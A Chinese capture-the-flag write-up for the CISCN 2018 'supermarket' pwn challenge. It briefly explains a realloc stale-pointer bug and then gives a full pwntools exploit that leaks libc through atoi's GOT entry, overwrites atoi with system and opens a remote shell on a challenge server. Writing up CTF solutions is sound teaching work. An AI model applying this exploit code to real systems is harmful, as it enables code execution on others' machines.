supermarket CISCN-2018-Quals

这个题没有想到有一点 。。。。

参考链接

https://blog.csdn.net/qq_33528164/article/details/80144580

这个题目的漏洞点就是

supermarket CISCN-2018-Quals_第1张图片

在 realloc  如果 当重新分配的new_size < pre_size, 返回原指针  否则 重新分配  这个就很真实了

而且他这个 还没有改变用户态指针

如果我们操作一波就可以 用另一个指针 随意操控 里面另一个堆user的值了 那么就可以把desc 的指针类型给换了  换成atoigot 表的  就可以了     然后可以 把atoi 改成system 然后一把梭就可以了

exp 如下

from pwn import *

debug=0

context.log_level='debug'
context.arch='amd64'
libc=ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
elf=ELF("./supermarket")
if debug:
    io=process('./supermarket')
else:
    io=remote('111.198.29.45',50926)

def add(name,price,size,description):
 io.recvuntil("your choice>>")
 io.sendline("1")
 io.recvuntil("name:")
 io.sendline(name)
 io.recvuntil("price:")
 io.sendline(str(price))
 io.recvuntil("descrip_size:")
 io.sendline(str(size))
 io.recvuntil("description:")
 io.sendline(description)

def dele(name):
 io.recvuntil("your choice>>")
 io.sendline("2")
 io.recvuntil("name:")
 io.sendline(name) 

def show():
 io.recvuntil("your choice>>")
 io.sendline("3")

def edit_price(name,price):
 io.recvuntil("your choice>>")
 io.sendline("4")
 io.recvuntil("name:")
 io.sendline(name)
 io.recvuntil("input the value you want to cut or rise in:")
 io.sendline(str(price))

def edit_desc(name,size,description):
 io.recvuntil("your choice>>")
 io.sendline("5")
 io.recvuntil("name:")
 io.sendline(name)
 io.recvuntil("descrip_size:")
 io.sendline(str(size))
 io.recvuntil("description:")
 io.sendline(description)



got_atoi=elf.got['atoi']

if __name__== "__main__":
 add('pipixia',666,0x80,'a'*0x75)
 add('keer',250,0x20,'b'*0x20)
 edit_desc('pipixia',0xc0,"")
 #gdb.attach(io)
 #pause()
 add('kepler',250,0x50,'c'*7)
 #gdb.attach(io)
 payload='cxk\x00'+'a'*16+p32(0x50)+p32(got_atoi)+p32(0x59)
 edit_desc('pipixia',0x80,payload)
 #gdb.attach(io)
 #pause()
 #gdb.attach(io)
 show()
 #print io.recv()
 io.recvuntil("cxk: price.")
 io.recv(16)
 atoi_addr=u32(io.recv(4))
 log.success("atoi_addr "+hex(atoi_addr))

 libc_base_addr=atoi_addr-libc.sym['atoi']
 log.success("libc_base_addr "+hex(libc_base_addr))

 system_addr=libc_base_addr+libc.sym['system']

 log.success("system_addr "+hex(system_addr))
 #gdb.attach(io)
 edit_desc('cxk',0x50,p32(system_addr))
 io.sendline("/bin/sh;")
 io.interactive()
 io.close()

 

你可能感兴趣的:(栈溢出,堆溢出)